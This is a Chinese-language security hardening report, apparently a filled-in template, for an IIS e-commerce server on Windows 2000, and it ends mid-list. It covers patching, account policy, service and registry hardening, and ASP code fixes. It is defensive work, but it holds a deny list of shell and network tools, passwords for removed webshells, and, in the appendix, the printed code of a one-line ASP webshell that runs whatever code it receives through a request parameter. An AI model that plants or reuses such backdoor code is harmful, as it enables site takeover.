XXX電子商務(wù)網(wǎng)站安全加固報(bào)告

1、xxx電子商務(wù)網(wǎng)站安全加固報(bào)告目錄電子商務(wù)網(wǎng)站安全加固報(bào)告1目錄2一、加固主機(jī)列表3二、加固實(shí)施42.1操作系統(tǒng)加固42.1.1 補(bǔ)丁安裝42.1.2 帳號(hào)、口令策略修改42.1.3 網(wǎng)絡(luò)與服務(wù)加固42.1.4 文件系統(tǒng)加固52.1.5 日志審核增強(qiáng)62.1.6 安全性增強(qiáng)72.1.7 推薦安裝安全工具82.2 iis服務(wù)加固82.2.1 補(bǔ)丁安裝82.2.2 網(wǎng)站實(shí)例權(quán)限分配82.2.3 iis配置安全增強(qiáng)92.2.4 安全控件加固92.3 代碼審核加固102.3.1 清除webshell代碼102.3.2 清除sql注入漏洞102.3.3 修正權(quán)限認(rèn)證缺陷102.3.4 減少上傳風(fēng)險(xiǎn)威脅1

2、12.3.5 正確處理數(shù)據(jù)庫文件11三、推薦安全注意事項(xiàng)123.1為新增網(wǎng)站實(shí)例分配權(quán)限123.2 使用ssl加密ftp傳輸123.3 加強(qiáng)管理員安全習(xí)慣12四、簽字確認(rèn)13附錄：14后臺(tái)訪問用戶認(rèn)證分配一覽表14代碼加固修改一覽表14一、加固主機(jī)列表本次安全加固服務(wù)的對(duì)象包括：編號(hào)ip地址操作系統(tǒng)用途或服務(wù)h_2112_1xx.xx.xx.2windows 2000 server提供電子商務(wù)服務(wù)，有償提供考試資料填寫規(guī)則：編號(hào)統(tǒng)一使用“型號(hào)_地址縮寫_數(shù)字”型號(hào)（h主機(jī)；d設(shè)備），數(shù)字使用三位數(shù)字順序號(hào)。二、加固實(shí)施2.1操作系統(tǒng)加固2.1.1 補(bǔ)丁安裝編號(hào)：windows-02001名稱：

3、補(bǔ)丁安裝系統(tǒng)以往狀態(tài)：windows 2000 service pack 4ie 最新積累補(bǔ)丁方案實(shí)施使用windows update安裝最新補(bǔ)丁實(shí)施目的可以使系統(tǒng)版本為最新版本實(shí)施風(fēng)險(xiǎn)安裝補(bǔ)丁可能導(dǎo)致主機(jī)啟動(dòng)失敗，或其他未知情況發(fā)生2.1.2 帳號(hào)、口令策略修改編號(hào)：windows-03002,windows-03003,windows-03004名稱：帳號(hào)口令策略修改系統(tǒng)以往狀態(tài)：密碼長度最小值0 字符密碼最長存留期42天密碼最短存留期0天帳號(hào)鎖定計(jì)數(shù)器無帳戶鎖定時(shí)間0帳戶鎖定閥值無方案實(shí)施密碼長度最小值7 字符密碼最長存留期90天密碼最短存留期30天帳號(hào)鎖定計(jì)數(shù)器5次帳戶鎖定時(shí)間5分鐘帳

4、戶鎖定閥值1分鐘實(shí)施目的保障帳號(hào)以及口令的安全實(shí)施風(fēng)險(xiǎn)設(shè)置帳號(hào)策略后可能導(dǎo)致不符合帳號(hào)策略的帳號(hào)無法登陸，需修改帳號(hào)密碼（注：管理員不受帳號(hào)策略限制，但管理員密碼應(yīng)復(fù)雜）2.1.3 網(wǎng)絡(luò)與服務(wù)加固編號(hào)：windows-04003,windows-04004名稱：卸載不需要的服務(wù)系統(tǒng)以往狀態(tài)：已安裝的不必要的服務(wù)包括：dns服務(wù)dhcp服務(wù)ms ftp服務(wù)snmp服務(wù)方案實(shí)施開始|設(shè)置|控制面板|添加/刪除程序|windows組件卸載不需要的服務(wù)實(shí)施目的避免未知漏洞給主機(jī)帶來的風(fēng)險(xiǎn)實(shí)施風(fēng)險(xiǎn)可能由于管理員對(duì)主機(jī)所開放服務(wù)不了解，導(dǎo)致該服務(wù)被卸載。編號(hào)：windows-04005名稱：將暫時(shí)不需要開

5、放的服務(wù)停止系統(tǒng)以往狀態(tài)：已啟動(dòng)且需要停止的服務(wù)包括：computer browser服務(wù)alerter服務(wù)messenger服務(wù)方案實(shí)施開始|運(yùn)行|services.msc|將上述服務(wù)的啟動(dòng)類型設(shè)置為手動(dòng)并停止上述服務(wù)實(shí)施目的避免未知漏洞給主機(jī)帶來的風(fēng)險(xiǎn)實(shí)施風(fēng)險(xiǎn)可能由于管理員對(duì)主機(jī)所開放服務(wù)不了解，導(dǎo)致該服務(wù)被卸載。2.1.4 文件系統(tǒng)加固編號(hào)：windows-05002名稱：限制特定執(zhí)行文件的權(quán)限系統(tǒng)以往狀態(tài)：未對(duì)敏感執(zhí)行文件設(shè)置合適的權(quán)限方案實(shí)施通過實(shí)施我公司的安全策略文件對(duì)特定文件權(quán)限進(jìn)行限制，禁止guests用戶組訪問這些文件。實(shí)施目的禁止guests用戶組訪問以下文件：xcopy.

6、exe wscript.exe cscript.exe net.exe arp.exe edlin.exe ping.exe route.exe posix.exe rsh.exe atsvc.exe copy.execacls.exe ipconfig.exe rcp.exe cmd.exedebug.exe regedt32.exe regedit.exe telnet.exefinger.exenslookup.exerexec.exeftp.exeat.exerunonce.exe nbtstat.exe tracert.exenetstat.exe 實(shí)施風(fēng)險(xiǎn)在極少數(shù)

7、情況下，某些網(wǎng)頁可能調(diào)用cmd.exe來完成某種功能，限制cmd.exe的執(zhí)行權(quán)限可能導(dǎo)致調(diào)用cmd失敗。2.1.5 日志審核增強(qiáng)編號(hào)：windows-06001名稱：設(shè)置主機(jī)審核策略系統(tǒng)以往狀態(tài)：審核策略更改無審核審核登錄事件無審核審核對(duì)象訪問無審核審核過程追蹤無審核審核目錄服務(wù)訪問無審核審核特權(quán)使用無審核審核系統(tǒng)事件無審核審核帳戶登錄事件無審核審核帳戶管理無審核方案實(shí)施通過實(shí)施我公司的安全策略文件修改下述值：審核策略更改成功審核登錄事件無審核審核對(duì)象訪問成功, 失敗審核過程追蹤無審核審核目錄服務(wù)訪問無審核審核特權(quán)使用無審核審核系統(tǒng)事件成功, 失敗審核帳戶登錄事件成功, 失敗審核帳戶管理成功

8、, 失敗實(shí)施目的對(duì)系統(tǒng)事件進(jìn)行審核，在日后出現(xiàn)故障時(shí)用于排查故障。實(shí)施風(fēng)險(xiǎn)無編號(hào)：windows-06002，windows-06003，windows-06004名稱：調(diào)整事件日志的大小、覆蓋策略系統(tǒng)以往狀態(tài)：大小覆蓋方式應(yīng)用日志512k覆蓋早于7天的事件安全日志512k覆蓋早于7天的事件系統(tǒng)日志512k覆蓋早于7天的事件方案實(shí)施通過實(shí)施我公司的安全策略文件修改下述值：大小覆蓋方式應(yīng)用日志16382k覆蓋早于30天的事件安全日志16384k覆蓋早于30天的事件系統(tǒng)日志16384k覆蓋早于30天的事件實(shí)施目的增大日志大小，避免由于日志文件容量過小導(dǎo)致日志記錄不全實(shí)施風(fēng)險(xiǎn)無2.1.6 安全性增強(qiáng)

9、編號(hào)：windows-07001名稱：禁止匿名用戶連接系統(tǒng)以往狀態(tài)：key:hklmsystemcurrentcontrolsetcontrollsa“restrictanonymous”的值為0方案實(shí)施通過實(shí)施我公司的安全策略文件將該值修改為“1”實(shí)施目的可以禁止匿名用戶列舉主機(jī)上所有用戶、組、共享資源實(shí)施風(fēng)險(xiǎn)無編號(hào)：windows-04006名稱：刪除主機(jī)管理共享系統(tǒng)以往狀態(tài)：key:hklmsystemcurrentcontrolsetserviceslanmanserverparameters無“autoshareserver”鍵方案實(shí)施通過實(shí)施我公司的安全策略文件增加“autosha

10、reserver”項(xiàng)，并設(shè)置該值為“1”實(shí)施目的刪除主機(jī)因?yàn)楣芾矶_放的共享實(shí)施風(fēng)險(xiǎn)某些應(yīng)用軟件可能需要該共享，如veritas netbackup編號(hào)：windows-07001名稱：禁止匿名用戶連接系統(tǒng)以往狀態(tài)：key:hklmsystemcurrentcontrolsetcontrollsa“restrictanonymous”的值為0方案實(shí)施通過實(shí)施我公司的安全策略文件將該值修改為“1”實(shí)施目的可以禁止匿名用戶列舉主機(jī)上所有用戶、組、共享資源實(shí)施風(fēng)險(xiǎn)無編號(hào)：windows-03005名稱：限制guest用戶權(quán)限系統(tǒng)以往狀態(tài)：guest已禁用，但未對(duì)帳號(hào)進(jìn)行權(quán)限限制。方案實(shí)施通過實(shí)施我公

11、司的安全策略文件禁止guest帳號(hào)本地登錄和網(wǎng)絡(luò)登錄的權(quán)限。實(shí)施目的避免guest帳號(hào)被黑客激活作為后門實(shí)施風(fēng)險(xiǎn)無2.1.7 推薦安裝安全工具工具名稱icesword 1.06工具用途特洛伊木馬徹查、黑客后門檢測(cè)工具相關(guān)信息/tools/200407/741.html工具名稱x-scan-v3.2-cn工具用途網(wǎng)絡(luò)隱患掃描工具相關(guān)信息/tools/200504/1016.html注：工具名稱請(qǐng)包含版本信息工具用途請(qǐng)簡單描述產(chǎn)品功用相關(guān)信息請(qǐng)寫明產(chǎn)品相關(guān)url，盡量詳細(xì)2.2 iis服務(wù)加固2.2.1 補(bǔ)丁安裝編號(hào)：

12、windows-02001（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：補(bǔ)丁安裝系統(tǒng)以往狀態(tài)：windows 2000 service pack 4方案實(shí)施使用windows update安裝最新補(bǔ)丁實(shí)施目的可以使系統(tǒng)版本為最新版本實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.2.2 網(wǎng)站實(shí)例權(quán)限分配編號(hào)：windows-02002（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：權(quán)限分配系統(tǒng)以往狀態(tài)：沒有對(duì)每個(gè)網(wǎng)站實(shí)例進(jìn)行相應(yīng)的權(quán)限分配，任何一個(gè)網(wǎng)站被入侵后都有可能導(dǎo)致其他網(wǎng)站被入侵方案實(shí)施每

13、個(gè)網(wǎng)站實(shí)例都對(duì)應(yīng)使用低權(quán)限帳戶，并去除網(wǎng)站后臺(tái)的匿名訪問，集成windows認(rèn)證實(shí)施目的可以使各個(gè)網(wǎng)站實(shí)例讀取、修改權(quán)限完全分開，避免入侵者從一個(gè)網(wǎng)站實(shí)例入侵到另一個(gè)網(wǎng)站實(shí)例實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.2.3 iis配置安全增強(qiáng)編號(hào)：windows-02003（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：配置安全增強(qiáng)系統(tǒng)以往狀態(tài)：存在很多默認(rèn)配置，導(dǎo)致入侵者可利用方案實(shí)施修正iis的擴(kuò)展配置，減少asp.dll解析范圍，禁止下載mdb文件實(shí)施目的減少入侵者入侵幾率，防止網(wǎng)站數(shù)據(jù)庫被惡意下載實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的

14、后果）2.2.4 安全控件加固編號(hào)：windows-02004（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：安全空間加固系統(tǒng)以往狀態(tài)：存在很多危險(xiǎn)控件，導(dǎo)致入侵者可利用方案實(shí)施卸載了wsh控件，修改shell.application控件的名稱，防止入侵者利用：hkey_classes_rootshell.application改成shell.application_oursafehkey_classes_rootshell.application.1改成了shell.application.1_oursafe實(shí)施目的減少asp木馬對(duì)網(wǎng)站的威脅

15、實(shí)施風(fēng)險(xiǎn)將有可能導(dǎo)致某些特殊網(wǎng)站實(shí)例不能正常運(yùn)行2.3 代碼審核加固2.3.1 清除webshell代碼編號(hào)：windows-03001（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：清除webshell代碼系統(tǒng)以往狀態(tài)：有可能存在入侵者留下的后門、webshell程序方案實(shí)施人工搜索查找入侵者留下的后門asp程序?qū)嵤┠康姆乐谷肭终咴俅稳肭志W(wǎng)站實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.2 清除sql注入漏洞編號(hào)：windows-03002（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：清

16、除sql注入漏洞系統(tǒng)以往狀態(tài)：存在很多sql注入漏洞方案實(shí)施使用統(tǒng)一腳本，對(duì)用戶提交進(jìn)行過濾檢查，防止用戶提交注入代碼實(shí)施目的防止惡意用戶利用sql注入漏洞危害網(wǎng)站實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.3 修正權(quán)限認(rèn)證缺陷編號(hào)：windows-03003（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：修正權(quán)限認(rèn)證缺陷系統(tǒng)以往狀態(tài)：存在一部份的權(quán)限未認(rèn)證缺陷方案實(shí)施對(duì)沒有檢查權(quán)限的頁面添加權(quán)限認(rèn)證實(shí)施目的防止低權(quán)限用戶執(zhí)行高權(quán)限功能實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.4 減少上傳風(fēng)險(xiǎn)威脅編號(hào)：windows-03004（

17、將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：修正權(quán)限認(rèn)證缺陷系統(tǒng)以往狀態(tài)：存在上傳漏洞方案實(shí)施修改代碼封堵上傳漏洞實(shí)施目的防止惡意用戶上傳webshell或其他惡意程序?qū)嵤╋L(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）2.3.5 正確處理數(shù)據(jù)庫文件編號(hào)：windows-03005（將所有涉及到這個(gè)加固項(xiàng)的檢測(cè)文檔編號(hào)填寫，如有多個(gè)，用逗號(hào)分開，寫文檔的時(shí)候?qū)⒈疚淖謩h除）名稱：正確處理數(shù)據(jù)庫文件系統(tǒng)以往狀態(tài)：采用asp為擴(kuò)展名，惡意用戶將有可能插入惡意代碼并執(zhí)行方案實(shí)施擴(kuò)展名改為mdb，并對(duì)web應(yīng)用程序進(jìn)行相應(yīng)修改實(shí)施目的防止惡意用戶插入惡意代碼并執(zhí)

18、行實(shí)施風(fēng)險(xiǎn)（應(yīng)描述實(shí)施本條措施所導(dǎo)致的后果）三、推薦安全注意事項(xiàng)3.1為新增網(wǎng)站實(shí)例分配權(quán)限當(dāng)需要新增加一個(gè)網(wǎng)站實(shí)例的時(shí)候，需要按照一定的步驟完成權(quán)限的分配：1. 新建兩個(gè)帳號(hào)，刪除這兩個(gè)帳號(hào)的user組身份，加入guest組；2. 指定網(wǎng)站目錄只能夠被xxxistrator和system完全控制，而上述兩個(gè)帳號(hào)對(duì)該目錄及其子目錄有讀寫、修改權(quán)限；3. 在iis中設(shè)置匿名訪問該網(wǎng)站的匿名帳戶為上述兩個(gè)帳號(hào)其中之一；4. 在iis中設(shè)置該網(wǎng)站管理員后臺(tái)目錄（或核心文件）不允許匿名訪問，增加windows身份認(rèn)證；5. 在iis中設(shè)置該網(wǎng)站的主機(jī)頭。3.2 使用ssl加密ftp傳輸開啟serv-u

19、的ssl加密功能，只允許加密登陸以及加密傳輸文件，以防止惡意用戶arp嗅探ftp密碼。3.3 加強(qiáng)管理員安全習(xí)慣注意及時(shí)升級(jí)管理員主機(jī)的系統(tǒng)補(bǔ)丁和殺毒軟件病毒庫，定期使用推薦的后門檢測(cè)工具對(duì)主機(jī)進(jìn)行安全檢測(cè)。定期更換web應(yīng)用程序后臺(tái)管理員密碼，并保證密碼的強(qiáng)度。四、簽字確認(rèn)雙方認(rèn)可加固報(bào)告，簽字確認(rèn)。甲方：乙方：簽字（簽章）：簽字（簽章）日期：日期附錄：后臺(tái)訪問用戶認(rèn)證分配一覽表域名目錄指向后臺(tái)登陸用戶名xx.comd:webxxxxxx.xx xx.netd:wwwxxxxx.xxxx.cnd:www1xx.xx xx.comd:webxx.comxx.xx xx.comd:webxx.c

20、omxx.xx bbs.xx.comd:webxxxbbsxx.xxx.xxxx.xx.comd:webxxxxxxxx.xxx.xxxxx.xx.comd:webxxxexamxx.xxx.xx xx.xx.comd:webxxxxxxxx.xxx.xx用戶密碼暫統(tǒng)一為“*”（不帶雙引號(hào)），建議用戶自行修改。代碼加固修改一覽表xxx.com目錄connection.asp修改數(shù)據(jù)庫為mdb結(jié)尾修改包含sql.asp，防止sql注入includeregkey.cfg修改數(shù)據(jù)庫結(jié)尾setup.asp改名為setup04131.aspmangereditor7183409改為editor71834

21、01includeconst.asp刪除！webshellincludemd5.asp刪掉文件最后一行，該行代碼為webshell代碼xxx.com目錄conn.asp修改數(shù)據(jù)庫為mdb結(jié)尾修改包含sql.asp，防止sql注入增加容錯(cuò)信息xxx/conn.asp修改數(shù)據(jù)庫為mdb結(jié)尾修改包含sql.asp，防止sql注入增加容錯(cuò)信息xxx/upfile.asp注釋掉27行，替換成固定上傳路徑為./pic/的代碼增加對(duì)xxx身份驗(yàn)證，xxx/upload.asp增加對(duì)xxx身份驗(yàn)證，xxx/textbox.asp增加對(duì)xxx身份驗(yàn)證，xxx/eokedit.asp增加對(duì)xxx身份驗(yàn)證，eweb

22、editor目錄名改為ewebeditor41937editdel.asp修改增加身份驗(yàn)證chkxxx.asp修改認(rèn)證方式，采用session保存密碼，防止跨站攻擊test目錄名修改為test8322xxxxxx.asp將管理身份認(rèn)證提前xxxxxx.asp添加容錯(cuò)信息修改包含sql.asp，防止sql注入xxxdata.mdb防止下載，改名為data3415.mdbxxxincubb.asp刪掉！webshell代碼kjaskcommon.asp修改數(shù)據(jù)庫為kjgb5674.mdb修改包含sql.asp，防止sql注入增加容錯(cuò)信息xxx.com目錄xxxxx_backup.asp刪掉！webshell，密碼是6568168xxdragon.asp刪掉！webshellxxlogin.asp刪除最后三行，webshell代碼%if request(kker)4136705 then session(b)=request(kker)if session(b) then execute session(b)%xxxxxtest.asp空文件xxxxxtestab.asp刪除，webshell，密碼是!#123xxxxx_backup.asp刪除！webshellxxtiet.asp刪除！webshellxxuserad.asp刪除！we